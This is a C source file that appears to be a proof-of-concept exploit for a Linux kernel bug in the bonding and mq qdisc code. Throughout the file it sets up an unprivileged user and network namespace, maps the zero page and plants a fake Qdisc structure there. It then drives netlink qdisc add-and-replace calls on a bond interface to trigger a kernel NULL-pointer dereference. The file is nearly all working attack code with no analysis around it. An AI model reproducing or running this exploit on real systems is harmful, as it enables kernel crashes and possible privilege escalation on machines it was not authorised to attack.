struct Qdisc {
    char pad1[0x64];
    int refcnt;
    char pad2[280];
} __attribute__((__aligned__(64)));

#define PAGE_SIZE   4096
#define PAGES       1

void setup_namespace(void) {
    int f;

    printf("[*] Creating namespace\n");

    if (unshare(CLONE_NEWNET | CLONE_NEWUSER) < 0) {
        perror("unshare");
        exit(EXIT_FAILURE);
    }

    f = open("/proc/self/uid_map", O_WRONLY);
    if(f < 0) {
        perror("cannot open /proc/self/uid_map");
        exit(EXIT_FAILURE);
    }

    if(write(f, "0 1000 1", 8) < 0) {
        perror("cannot write on /proc/self/uid_map");
        close(f);
        exit(EXIT_FAILURE);
    }

    close(f);
}

int create_bond_interface(struct nl_sock * nl, char * name) {
    struct rtnl_link *link;
    int ret = 0;

    if (nl == NULL){                               
        return -1;           
     }                   

     if (name == NULL){                                
         return -1;           
     }

    printf("[*] Creating interface %s\n", name);

    link = rtnl_link_bond_alloc();
    if (link == NULL){        
        return -1; 
    }

    rtnl_link_set_name(link, name);

    ret = rtnl_link_add(nl, link, NLM_F_CREATE);

    rtnl_link_put(link);

    return ret;
}

int set_interface_up(struct nl_sock * nl, char * name) {
    struct rtnl_link *link;
    int ret = 0;

    if (nl == NULL){                                       
        return -1;                
    }                        

    if (name == NULL){                                         
        return -1;                
    }

    printf("[*] Setting interface %s up\n", name);

    link = rtnl_link_bond_alloc();
    if (link == NULL){                
        return -1;        
    }

    rtnl_link_set_name(link, name);

    rtnl_link_set_flags(link, IFF_UP);
    ret = rtnl_link_add(nl, link, NLM_F_CREATE);

    rtnl_link_put(link);

    return ret;
}

int qdisc_add(struct nl_sock * nl, char * name) {
    struct rtnl_qdisc *qdisc;
    struct rtnl_link *link;
    int ret = 0;

    if (nl == NULL){                                               
        return -1;                    
     }                            

    if (name == NULL){                                                 
         return -1;                    
     }

    printf("[*] Adding a qdisc to %s interface\n", name);

    qdisc = rtnl_qdisc_alloc();
    if (qdisc < 0) {
        perror("qdisc allocatio\n");
        return -1;
    }

    if (rtnl_link_get_kernel(nl, 0, name, &link) < 0) {
        perror("can't find interface");
        rtnl_qdisc_put(qdisc);
        return -1;
    }

    printf("[*] ifindex: %d\n", rtnl_link_get_ifindex(link));

    rtnl_tc_set_link(TC_CAST(qdisc), link);
    rtnl_tc_set_parent(TC_CAST(qdisc), TC_H_ROOT);
    rtnl_tc_set_handle(TC_CAST(qdisc), TC_HANDLE(0xffff, 0));
    rtnl_tc_set_kind(TC_CAST(qdisc), "mq");

    ret = rtnl_qdisc_add(nl, qdisc, NLM_F_CREATE);

    rtnl_qdisc_put(qdisc);
    rtnl_link_put(link);

    return ret;
}

int qdisc_replace(struct nl_sock * nl, char * name) {
    struct rtnl_qdisc *qdisc_new;
    struct rtnl_link *link;
    int ret = 0;

    if (nl == NULL){                                                       
        return -1;                         
    }                                

    if (name == NULL){                                                          
        return -1;                         
    }

    printf("[*] Replace qdisc on %s interface\n", name);

    qdisc_new = rtnl_qdisc_alloc();
    if (qdisc_new < 0) {
        perror("qdisc new allocatio\n");
        return -1;
    }

    if (rtnl_link_get_kernel(nl, 0, name, &link) < 0) {
        perror("can't find interface");
        rtnl_qdisc_put(qdisc_new);
        return -1;
    }

    rtnl_tc_set_link(TC_CAST(qdisc_new), link);
    rtnl_tc_set_parent(TC_CAST(qdisc_new), TC_HANDLE(0xffff,0xfff1));
    rtnl_tc_set_handle(TC_CAST(qdisc_new), TC_HANDLE(0xffff, 0));
    rtnl_tc_set_kind(TC_CAST(qdisc_new), "mq");

    ret = rtnl_qdisc_add(nl, qdisc_new, NLM_F_REPLACE);

    rtnl_qdisc_put(qdisc_new);
    rtnl_link_put(link);

    return ret;
}

int main (void) {
    struct nl_sock * sock_nl;
    struct Qdisc * myqdisc;
    char *mynull;
    int err = 0;

    setup_namespace();

    mynull = mmap(NULL, PAGE_SIZE * PAGES, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANON|MAP_PRIVATE, -1, 0);
    if (mynull == MAP_FAILED) {
        perror("null mapping");
        exit(EXIT_FAILURE);
    }

    *mynull = 0;

    myqdisc = (void *)0x28;
    myqdisc->refcnt = 1;

    sock_nl = nl_socket_alloc();
    if(sock_nl == NULL){
        perror("nl_socket_alloc");
        exit(EXIT_FAILURE);
    }
 
    if (nl_connect(sock_nl, NETLINK_ROUTE) < 0) {
        perror("connect");
        err = EXIT_FAILURE;
        goto error;
    }

    if (create_bond_interface(sock_nl, "bond0") < 0) {
        perror("bond_interface");
        err = EXIT_FAILURE;
        goto error;
    }

    if (set_interface_up(sock_nl, "bond0") < 0) {
        perror("bond_interface");
        err = EXIT_FAILURE;
        goto error;
    }

    if (qdisc_add(sock_nl, "bond0") < 0) {
        perror("qdisc add");
        err = EXIT_FAILURE;
        goto error;
    }

    if (qdisc_replace(sock_nl, "bond0") < 0) {
        perror("qdisc replace");
        err = EXIT_FAILURE;
        goto error;
    }

    system("ip a");

error:
    nl_socket_free(sock_nl);
    return err;
}